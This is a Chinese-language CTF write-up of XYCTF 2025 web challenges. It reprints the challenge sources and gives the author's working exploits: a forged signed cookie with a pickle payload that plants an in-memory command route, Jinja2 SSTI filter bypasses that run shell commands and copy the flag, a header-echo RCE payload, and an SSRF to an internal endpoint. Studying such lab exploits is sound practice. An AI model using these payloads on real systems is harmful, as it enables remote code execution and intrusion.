XYCTF25

我的清明三天假期😭,起伏不断,最终还是无法战胜,继续加油
最近一直看java,刷的题有点少,这次有点小碰壁了
这次题出的很好,赛后冷静下来很多都可以逻辑推理出来,还是急急急急急过头了😡

signing | SV

signing 过程

  1. 源码部分

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    # -*- encoding: utf-8 -*-
    '''
    @File : main.py
    @Time : 2025/03/28 22:20:49
    @Author : LamentXU
    '''
    '''
    flag in /flag_{uuid4}
    '''
    from bottle import Bottle, request, response, redirect, static_file, run, route
    try:
    with open('../../secret.txt', 'r') as f:
    secret = f.read()
    except:
    print("No secret file found, using default secret")
    secret = "secret"
    app = Bottle()
    @route('/')
    def index():
    return '''HI'''
    @route('/download')
    def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
    response.status = 403
    return 'Forbidden'
    with open(name, 'rb') as f:
    data = f.read()
    return data

    @route('/secret')
    def secret_page():
    try:
    session = request.get_cookie("name", secret=secret)
    if not session or session["name"] == "guest":
    session = {"name": "guest"}
    response.set_cookie("name", session, secret=secret)
    return 'Forbidden!'
    if session["name"] == "admin":
    return 'The secret has been deleted!'
    except:
    return "Error!"
    run(host='0.0.0.0', port=5000, debug=False)
  2. 总体思路

    1. 看一下cookie,发现有类似序列化的东西,再看一下源码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
      """ Return the content of a cookie. To read a `Signed Cookie`, the
      `secret` must match the one used to create the cookie (see
      :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
      cookie or wrong signature), return a default value. """
      value = self.cookies.get(key)
      if secret:
      # See BaseResponse.set_cookie for details on signed cookies.
      if value and value.startswith('!') and '?' in value:
      sig, msg = map(tob, value[1:].split('?', 1))
      hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
      if _lscmp(sig, base64.b64encode(hash)):
      dst = pickle.loads(base64.b64decode(msg))
      if dst and dst[0] == key:
      return dst[1]
      return default
      return value or default
    2. 密钥对应就进行loads操作,这里通过./.././../secret.txt可以绕过 –> Hell0_H@cker_Y0u_A3r_Sm@r7

    3. 不出网这里我打的是内存马,但是也可以写文件 <= 可以任意读取

      24级的web手给了个http头回显的,也是增长了我的思路,在Now you see me 2中就有用到了,但是我没时间去做556

      __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen('whoami').read().encode('utf-8')).decode('utf-8'))

      1. 送到cookie即可,pickle太久没碰忘记了,不然可以前三血
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      import hmac
      import hashlib
      import base64
      SECRET = b'Hell0_H@cker_Y0u_A3r_Sm@r7'
      payload = b'''cbuiltins\neval\n(S'__import__("bottle").app().route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())'\ntR.'''
      # payload = b'''cbuiltins\neval\n(S'__import__("os").system("ping -c 4 4od3zs.dnslog.cn")'\ntR.''' # 不出网
      # payload = b'''cbuiltins\neval\n(S'__import__("os").system("ls > ./kc1zs4")'\ntR.''' # 不可写?(题目说可写是怎么会是hhh
      # payload = b'''cbuiltins\neval\n(S'app.route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())'\ntR.''' # 初步内存马,有域问题

      msg_b64 = base64.b64encode(payload).decode('utf-8')
      hmac_digest = hmac.new(
      key=SECRET,
      msg=msg_b64.encode('utf-8'),
      digestmod=hashlib.sha256
      ).digest()
      sig_b64 = base64.b64encode(hmac_digest).decode('utf-8')

      malicious_cookie = f"!{sig_b64}?{msg_b64}"
      print(f"恶意Cookie: {malicious_cookie}")

signing 总结

  • pickle 构造payload + pker
  • 深入理解flask内存马的域问题
  • 表头回显法

Now you see me 1 | SV

Now you see me 1 过程

很有意思的一道题,还是要多查资料

  1. 第一步找源码(可以看看各种文件信息,大小发现不符),也可以直接到hxd中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    # YOU FOUND ME ;)
    # -*- encoding: utf-8 -*-
    '''
    @File : src.py
    @Time : 2025/03/29 01:10:37
    @Author : LamentXU
    '''
    import flask
    import sys
    enable_hook = False
    counter = 0
    def audit_checker(event,args):
    global counter
    if enable_hook:
    if event in ["exec", "compile"]:
    counter += 1
    if counter > 4:
    raise RuntimeError(event)

    lock_within = [
    "debug", "form", "args", "values",
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application",
    'data', 'url' ,'\'', '"',
    "getattr", "_", "{{", "}}",
    "[", "]", "\\", "/","self",
    "lipsum", "cycler", "joiner", "namespace",
    "init", "dir", "join", "decode",
    "batch", "first", "last" ,
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."]
    # I hate all these.
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
    return 'try /H3dden_route'
    @app.route('/H3dden_route')
    def r3al_ins1de_th0ught():
    global enable_hook, counter
    name = flask.request.args.get('My_ins1de_w0r1d')
    if name:
    try:
    if name.startswith("Follow-your-heart-"):
    for i in lock_within:
    if i in name:
    return 'NOPE.'
    enable_hook = True
    a = flask.render_template_string('{#'+f'{name}'+'#}')
    enable_hook = False
    counter = 0
    return a
    else:
    return 'My inside world is always hidden.'
    except RuntimeError as e:
    counter = 0
    return 'NO.'
    except Exception as e:
    return 'Error'
    else:
    return 'Welcome to Hidden_route!'

    if __name__ == '__main__':
    import os
    try:
    import _posixsubprocess
    del _posixsubprocess.fork_exec
    except:
    pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)

  2. 无敌绕过题,其实绕过也是那几个技法,大致分为下面几大类

    这里查了很多文章来着,有些忘记了,这个月找个时间系统复习一下

    1. ‘, “引号绕过: 需要使用[]和特殊的list, select这些过滤器来搞
    2. []方括号绕过: 需要使用一些属性_来绕过
    3. _下划线绕过: 编码/set+[]来取字符串
    4. request传入绕过: 这个是方法,不是情景hhh
  3. 这里一直想着绕过字符串卡了好久,后面发现每一种都是互相制约,可以说是绕过去希望不大,request没有被禁止,还是有一丝希望的,找文档

    1. flask doc request api发现pragma参数,可能可以用来传递字符串,用.希望可以访问到
  4. 接下来是构造读字符串,使用print来

    1. request|attr(request.pragma|string),是一个set的容器
    2. (request|attr(request.pragma|string)).get(1|string),查过可以用get(),用string过滤器可以构造字符串,刚好可以
  5. 可以构造payload了

    1. getshell
      1. 不可以用exec,因为有audit_hook,前面已经有4次了,如果不绕过只能直接rce了
      2. 先试试不绕过可以不可以读文件写文件,结果可读但是/flag_h3r3读时会出错,这里看报错信息细心的话会发现其实不是权限问题,而是字节解析问题,这里读取二进制会卡住,在bp中说binary流过大,应该是文件过大(实际上也确实是),但也只能找rce了
      3. 一开始一直在想怎么绕过del,发现其实可以直接使用__import__来绕过,直接使用os.system来执行命令,具体原理待我深究,后面再针对python安全再写一篇文章
    2. 拿flag要把文件拿到static路由再拉下来
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    import requests

    host="http://eci-2zeho733fvocuo94trvf.cloudeci1.ichunqiu.com:8080"
    # host="http://localhost:5000"
    bp = {
    "http": "http://localhost:8080",
    }

    session = requests.Session()

    path_hidden="/H3dden_route"
    headers_hidden={
    "pragma": "args",
    }
    params_hidden={

    "My_ins1de_w0r1d":
    "Follow-your-heart-#}{%"\
    "print("\
    "("\
    "("\
    "request"\
    "|attr((request|attr(request.pragma|string)).get(1|string))"\
    "|attr((request|attr(request.pragma|string)).get(2|string))"\
    ")"\
    ".get((request|attr(request.pragma|string)).get(3|string))"\
    ".get((request|attr(request.pragma|string)).get(4|string))"\
    "((request|attr(request.pragma|string)).get(5|string))"\
    "|attr((request|attr(request.pragma|string)).get(6|string))"\
    "((request|attr(request.pragma|string)).get(7|string))"\
    ")"\
    ")"\
    "%}{#",
    "1": "__init__",
    "2": "__globals__",
    "3": "__builtins__",
    "4": "__import__",
    "5": "os",
    "6": "system",
    # "7": "ls -al /app > main.py"
    # "7": "ls /bin > main.py"
    "7": "dd if=/flag_h3r3 of=./static/output;ls > main.py"


    }
    """
    to_get_args:
    (request|attr(request.pragma|string)).get(1|string)
    """
    r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden)
    print(r.text)

    params_hidden={
    "My_ins1de_w0r1d":
    "Follow-your-heart-#}{%"\
    "print("\
    "("\
    "("\
    "request"\
    "|attr((request|attr(request.pragma|string)).get(1|string))"\
    "|attr((request|attr(request.pragma|string)).get(2|string))"\
    ")"\
    ".get((request|attr(request.pragma|string)).get(3|string))"\
    ".get((request|attr(request.pragma|string)).get(4|string))"\
    "((request|attr(request.pragma|string)).get(5|string),(request|attr(request.pragma|string)).get(6|string)).read()"\
    ")"\
    ")"\
    "%}{#",
    "1": "__init__",
    "2": "__globals__",
    "3": "__builtins__",
    "4": "open",
    "5": "main.py",
    "6": "r",
    }
    # r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden, proxies=bp)
    r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden)
    print(r.text)

Now you see me 1 总结

  • fenjing的使用
  • ssti的内容

Now you see me 2 | 复现 | SV

Now you see me 2 | 过程

羡慕广外✌的连杀捏

  1. 继续先看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    # YOU FOUND ME ;)
    # -*- encoding: utf-8 -*-
    '''
    @File : src.py
    @Time : 2025/03/29 01:20:49
    @Author : LamentXU
    '''
    # DNS config: No reversing shells for you.
    import flask
    import time, random
    import flask
    import sys
    enable_hook = False
    counter = 0
    def audit_checker(event,args):
    global counter
    if enable_hook:
    if event in ["exec", "compile"]:
    counter += 1
    if counter > 4:
    raise RuntimeError(event)
    lock_within = [
    "debug", "form", "args", "values",
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application",
    'data', 'url' ,'\'', '"',
    "getattr", "_", "{{", "}}",
    "[", "]", "\\", "/","self",
    "lipsum", "cycler", "joiner", "namespace",
    "init", "dir", "join", "decode",
    "batch", "first", "last" ,
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."]
    # lock_within = []
    allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
    return 'try /H3dden_route'
    @app.route('/H3dden_route')
    def r3al_ins1de_th0ught():
    quote = flask.request.args.get('spell')
    if quote:
    try:
    if quote.startswith("fly-"):
    for i in lock_within:
    if i in quote:
    print(i)
    return "wouldn't it be easier to give in?"
    time.sleep(random.randint(10, 30)/10) # No time based injections.
    flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
    print("Registered endpoints and functions:")
    for endpoint, func in app.view_functions.items():
    if endpoint not in allowed_endpoint:
    del func # No creating backdoor functions & endpoints.
    return f'What are you doing with {endpoint} hacker?'

    return 'Let the true magic begin!'
    else:
    return 'My inside world is always hidden.'
    except Exception as e:
    return 'Error'
    else:
    return 'Welcome to Hidden_route!'

    if __name__ == '__main__':
    import os
    try:
    import _posixsubprocess
    del _posixsubprocess.fork_exec
    except:
    pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)
  2. 变化: 注意到request和endpoint没有被ban掉,而且没有了回显 –> 应该还是传参,需要别的绕过方法,不知道还能不能写文件,没有dockerfile

    比赛时到这里就已经头昏脑涨了,不然应该可以再加400分

    1. 这个回显问题,一时打不了马和返回头来着,本地可以有回显(狗头),先本地使出回显语句再来(适用于代码内容一致的情况)

    2. 从简单的成本低的试起,可以拼接字符串,r3al_ins1de_th0ught中可以凑出data,加上static可以凑出args

      1
      2
      3
      4
      params_hidden={
      "spell": "fly-#}{%print(request.endpoint)%}{#"
      }
      # 返回: Let-the-magic-r3al_ins1de_th0ught emm,endpoint原来时函数名,那就只能拼data了
    3. 使用字符串拼接绕过有用更多过滤器slice,这里也没有ban

      1. jinjia2 docs有这一串话

      slice(value, slices, fill_with=None)
      Slice an iterator and return a list of lists containing those items. Useful if you want to create a div containing three ul tags that represent columns:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <div class="columwrapper">
      {%- for column in items|slice(3) %}
      <ul class="column-{{ loop.index }}">
      {%- for item in column %}
      <li>{{ item }}</li>
      {%- endfor %}
      </ul>
      {%- endfor %}
      </div>

      If you pass it a second argument it’s used to fill missing values on the last iteration.

    4. 但是有一个问题,大概率需要空格(space),不用的话现在暂时无法获取到string的指定索引处的,感到困难和无出路时换个思路!!! –> 使用for和slice来处理就可以,但是需要绕过空格,试一试吧

      还得是ai: jinjia2中获取list中指定索引的内容
      对于数字索引,也可以用 列表变量.索引 语法:

      1
      2
      {{ my_list.0 }}  {# 等同于 my_list[0] #}
      {{ my_list.2 }} {# 等同于 my_list[2] #}
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      """
      for len strip
      9
      2
      12
      19
      """
      print("r3al_ins1de_th0ught".find('d'))
      print("r3al_ins1de_th0ught".find('a'))
      print("r3al_ins1de_th0ught".find('t'))
      print(len("r3al_ins1de_th0ught"))
      params_hidden={
      # "spell": "fly-#}{%print(request.endpoint)%}{#"

      # 括号绕过+找长度
      # "spell": "fly-#}"\
      # "{%set\td,a,t=0,0,0%}"\
      # "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
      # "{%print(i)%}"\
      # "{%print(loop.index)%}"\
      # "{%endfor%}"\
      # "{#"
      # Let-the-magic-['r']1['3']2['a']3['l']4['_']5['i']6['n']7['s']8['1']9['d']10['e']11['_']12['t']13['h']14['0']15['u']16['g']17['h']18['t']19

      #
      # "spell": "fly-#}"\
      # "{%set\td,a,t=0,0,0%}"\
      # "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
      # "{%if\tloop.index==10%}"\
      # "{%set\td=i%}"\
      # "{%endif%}"\
      # "{%if\tloop.index==3%}"\
      # "{%set\ta=i%}"\
      # "{%endif%}"\
      # "{%if\tloop.index==13%}"\
      # "{%set\tt=i%}"\
      # "{%endif%}"\
      # "{%if\tloop.index==19%}"\
      # "{%print(d~a~t~a)%}"\
      # "{%endif%}"\
      # "{%endfor%}"\
      # "{#"

      # 用dict来获取字符串: false
      # "spell": "fly-#}"\
      # "{%set\tobj={0:0,1:1,2:2}%}"\
      # "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
      # "{%if\tloop.index==10%}"\
      # # d
      # "{%print(obj.update({0:i}))%}"\
      # "{%endif%}"\
      # "{%if\tloop.index==3%}"\
      # # a
      # "{%print(obj.update({1:i}))%}"\
      # "{%endif%}"\
      # "{%if\tloop.index==13%}"\
      # # t
      # "{%print(obj.update({2:i}))%}"\
      # "{%endif%}"\
      # "{%endfor%}"\
      # "{%print(obj.get(0)~obj.get(1)~obj.get(2)~obj.get(1))%}"\
      # "{#"
      # Let-the-magic-NoneNoneNone[&#39;d&#39;][&#39;a&#39;][&#39;t&#39;][&#39;a&#39;]
      # 其中None可以不担心,这里是用print来防止显示if后不能接obj

      # 数字获取索引: Let-the-magic-data
      "spell": "fly-#}"\
      "{%for\ti\tin\trequest.endpoint|slice(1)%}"\
      "{%print(i.9+i.2+i.12+i.2)%}"\
      "{%endfor%}"\
      "{#"
      }
  3. 于是我们可以获取到request.data,事到如今,就可以开始拼接了

    1. However: request.data获取的是b字节流,这里用json进行发送后获取到的request.data实际上是b&#39;{&#34;1&#34;: &#34;kc1zs4&#34;}&#39;
    2. 一个思路是通过slice(1)后list.index获取每一个字符,然后用attr逐步拿到我们的payload,构造有点复杂(长,但是GET不限参数长度,应该够用),用脚本来更佳(find+list.index完美适配) –> 补档: 其实出题人也是这种写法,那就没问题了hhh,看看他的脚本(键ref)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests

    host="http://localhost:5000"
    bp = {
    "http": "http://localhost:8080",
    }

    session = requests.Session()

    ### failed
    path_hidden="/H3dden_route"

    params_hidden={
    "spell": "fly-#}"\
    "{%for\ti\tin\trequest.endpoint|slice(1)%}"\
    "{%set\tdat=i.9+i.2+i.12+i.2%}"\
    "{%print(dat)%}"\
    "{%print(request|attr(dat|string))%}"\
    # "{%print(request)%}"\
    "{%endfor%}"\
    "{#"
    }
    print(params_hidden['spell'])
    """
    to_get_args:
    (request|attr(request.pragma|string)).get(1|string)
    """
    json_proxy={
    "1" : "kc1zs4",
    }
    r = session.get(host+path_hidden,json=json_proxy, params=params_hidden)
    print(r.text)
  4. 这里就不费心构造了,看看如何使用请求头来回显,详见《深入jinjia2_ssti》

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    # 打击payload
    {#- ======================================================= -#}
    {#- [1] 通过 Flask request 对象注入 subprocess 模块 -#}
    {#- ======================================================= -#}
    {% set sub = request
    | attr('application')
    | attr('__globals__')
    | attr('__getitem__')('__builtins__')
    | attr('__getitem__')('__import__')('subprocess')
    %}

    {#- ======================================================= -#}
    {#- [2] 通过 Flask request 对象注入 os 模块 -#}
    {#- ======================================================= -#}
    {% set so = request
    | attr('application')
    | attr('__globals__')
    | attr('__getitem__')('__builtins__')
    | attr('__getitem__')('__import__')('os')
    %}

    {#- ======================================================= -#}
    {#- [3] 强制重新加载 subprocess 模块以绕过潜在限制 -#}
    {#- ======================================================= -#}
    {% print request
    | attr('application')
    | attr('__globals__')
    | attr('__getitem__')('__builtins__')
    | attr('__getitem__')('__import__')('importlib')
    | attr('reload')(sub)
    %}

    {#- ======================================================= -#}
    {#- [4] 强制重新加载 os 模块以绕过潜在限制 -#}
    {#- ======================================================= -#}
    {% print request
    | attr('application')
    | attr('__globals__')
    | attr('__getitem__')('__builtins__')
    | attr('__getitem__')('__import__')('importlib')
    | attr('reload')(so)
    %}

    {#- ======================================================= -#}
    {#- [5] 动态修改 werkzeug 的 server_version 属性实现命令执行 -#}
    {#- ======================================================= -#}
    {% print g
    | attr('pop')
    | attr('__globals__')
    | attr('get')('__builtins__')
    | attr('get')('setattr')(
    g
    | attr('pop')
    | attr('__globals__')
    | attr('get')('sys')
    | attr('modules')
    | attr('get')('werkzeug')
    | attr('serving')
    | attr('WSGIRequestHandler'),
    'server_version',
    g
    | attr('pop')
    | attr('__globals__')
    | attr('get')('__builtins__')
    | attr('get')('__import__')('os')
    | attr('popen')(cmd)
    | attr('read')()
    )
    %}

Now you see me 2 | 总结

出题人: 本来想禁止请求头回显,把随机延时放到render后面来打内存马条件竞争的。但是发现他娘的请求头回显根本禁止不死
???我请问呢?还有高手?内存马条件竞争?!

  • jinjia2还是不熟练啊,还是得深入理解
  • ctf最难的是找方向
  1. ai出来的lamentxu中的最终payload,就是一个一个字符进行拼接的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    {% for i in request.endpoint|slice(1) %}
    {% set dat = i.9~i.2~i.12~i.2 %}
    {% for k in request|attr(dat)|string|slice(1) %}
    {% set a0 = 'k.30~k.34' %}
    {% set a1 = 'k.34~k.40~k.34' %}
    {% set a2 = 'k.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2' %}
    {% set a3 = 'k.38~k.23~k.30~k.16~k.28~k.24' %}
    {% set a4 = 'k.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34' %}
    {% set a5 = 'k.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2' %}
    {% set a6 = 'k.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17' %}
    {% set a7 = 'k.34~k.20~k.33~k.37~k.20~k.33~k.2~k.37~k.20~k.33~k.34~k.24~k.30~k.29' %}
    {% set a8 = 'k.38~k.20~k.33~k.26~k.41~k.20~k.36~k.22' %}
    {% set sub = request.application.__globals__[a2][a5](a4) %}
    {% set osmod = request.application.__globals__[a2][a5](a0) %}
    {% set imp = request.application.__globals__[a2][a5](a6) %}
    {% do imp.reload(sub) %}
    {% do imp.reload(osmod) %}
    {% do setattr(
    request.application.__globals__[a1].modules[a8].serving.WSGIRequestHandler,
    a7,
    osmod.popen(a3).read()
    ) %}
    {% endfor %}
    {% endfor %}

ez_puzzle | SV

ez_puzzle 过程

其实本质上是超级简单的前端题

  1. js源码被混淆了,初见不知道怎么办,调试也不行,有无限debug

  2. 对于无限debug还是容易处理的,开发者工具设置即可

  3. js混淆可以先大致看一下,注意到第一段有base64,放到cyberchef中解密,提示有zlib的格式,python脚本导出后发现是一个json字典(但是没法完全复原)

    这里直接替换显然不合理,要先寻找阻力最小的路径,就是硬找

  4. 提取其中的一些信息: 有失败的字符串信息,顺着逻辑可以找到我们要点G表示second的判断处

    1. 思路一: 覆盖无果
    2. 思路二: 可以直接输出 done
    3. 思路三: 修改js的大于号小于号改变逻辑

    题解中的说法是
    因为这道题说两秒之内完成拼图,那么肯定是有时间差的。我们全局搜time
    发现了endTime和startTime两个变量,那么就猜测程序会在拼图完成后把两个变量作差,然后与2000做⽐较,虽然endTime我们不知道,但是可以把startTime改的很⼤,然后作差为负数,也是⼩于2000的

ez_puzzle 总结

  • js混淆
  • js无限debug
  • js在客户端运行,完全可控
    总结: 思路为王

fate | 复现 | SV

fate 过程

淦!思路都是对的,但是当时在.绕过这里使用2130706433打过去一直报错,看到报错信息一直以为是解析问题,实则不然,还是太急急急了,遇到问题不会深入了解原因了

  1. 贴个源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    #!/usr/bin/env python3
    import flask
    import sqlite3
    import requests
    import string
    import json
    app = flask.Flask(__name__)
    blacklist = string.ascii_letters
    def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
    raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)] # 取步长了
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) # 二进制到十进制到chr,拼接到string_output中

    return string_output

    @app.route('/proxy', methods=['GET'])
    def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
    return flask.abort(400, 'No URL provided')

    target_url = "http://lamentxu.top" + url
    for i in blacklist:
    if i in url:
    return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
    return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
    def db_search(code):
    with sqlite3.connect('database.db') as conn:
    cur = conn.cursor()
    cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") # 应该要靠code的解析问题来继续绕过了
    found = cur.fetchone()
    return None if found is None else found[0]

    @app.route('/')
    def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

    @app.route('/1337', methods=['GET'])
    def api_search():
    if flask.request.remote_addr == '127.0.0.1':
    code = flask.request.args.get('0')
    if code == 'abcdefghi':
    req = flask.request.args.get('1')
    try:
    req = binary_to_string(req)
    print(req)
    req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
    except:
    flask.abort(400, "Invalid JSON")
    if 'name' not in req:
    flask.abort(400, "Empty Person's name")

    name = req['name']
    if len(name) > 6:
    flask.abort(400, "Too long")
    if '\'' in name:
    flask.abort(400, "NO '")
    if ')' in name:
    flask.abort(400, "NO )")
    """
    Some waf hidden here ;)
    """

    fate = db_search(name)
    if fate is None:
    flask.abort(404, "No such Person")

    return {'Fate': fate}
    else:
    flask.abort(400, "Hello local, and hello hacker")
    else:
    flask.abort(403, "Only local access allowed")

    if __name__ == '__main__':
    app.run(debug=True)
  2. Step1: 显然是一个ssrf的题目,通过proxy打1337并传入参数,然后再考虑绕过的事情: 十进制+二次url编码,eezz

    1. Note1: python request发送get请求会自动再次进行编码!

    2. Note2: ssrf中在第二次跳转后的&要一次url编码,第一次才不会被解析

    3. 如下是有问题的

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      json_data = {
      "name": "ANNA"
      }
      params_proxy = {
      "url": f"@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261={json2bin(json_data)}",
      # 这里的&也需要否则在第一次就会被解析掉,传不到第二次
      }
      print(params_proxy['url'])
      r = session.get(host+path_proxy, params=params_proxy, proxies=bp)
      print(r.text)

      """
      - bp中的显示,可以看到ssrf进行三次编码,无法正常打
      GET /proxy?url=%402130706433%3A5000%2F1337%3F0%3D%2525%2536%2531%2525%2536%2532%2525%2536%2533%2525%2536%2534%2525%2536%2535%2525%2536%2536%2525%2536%2537%2525%2536%2538%2525%2536%2539%261%3D01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 HTTP/1.1

      - 响应报错,是2130706433的ip地址解析问题
      requests.exceptions.ConnectionError: HTTPConnectionPool(host=&#39;2130706433&#39;, port=5000): Max retries exceeded with url: /1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569&amp;1=01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 (Caused by NameResolutionError(&#34;&lt;urllib3.connection.HTTPConnection object at 0x000001A0ECCC8B60&gt;: Failed to resolve &#39;2130706433&#39; ([Errno 11001] getaddrinfo failed)&#34;))
      // Werkzeug Debugger
      """
    4. 这些问题后都没有什么说法,还是报一样的解析错误 –> 可能是版本问题,按照dockerfile中的配置(没给全,只能联系客服了😭)/直接打打远程看看(确保其他没有问题)

      1
      2
      3
      GET /proxy?url=@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 HTTP/1.1

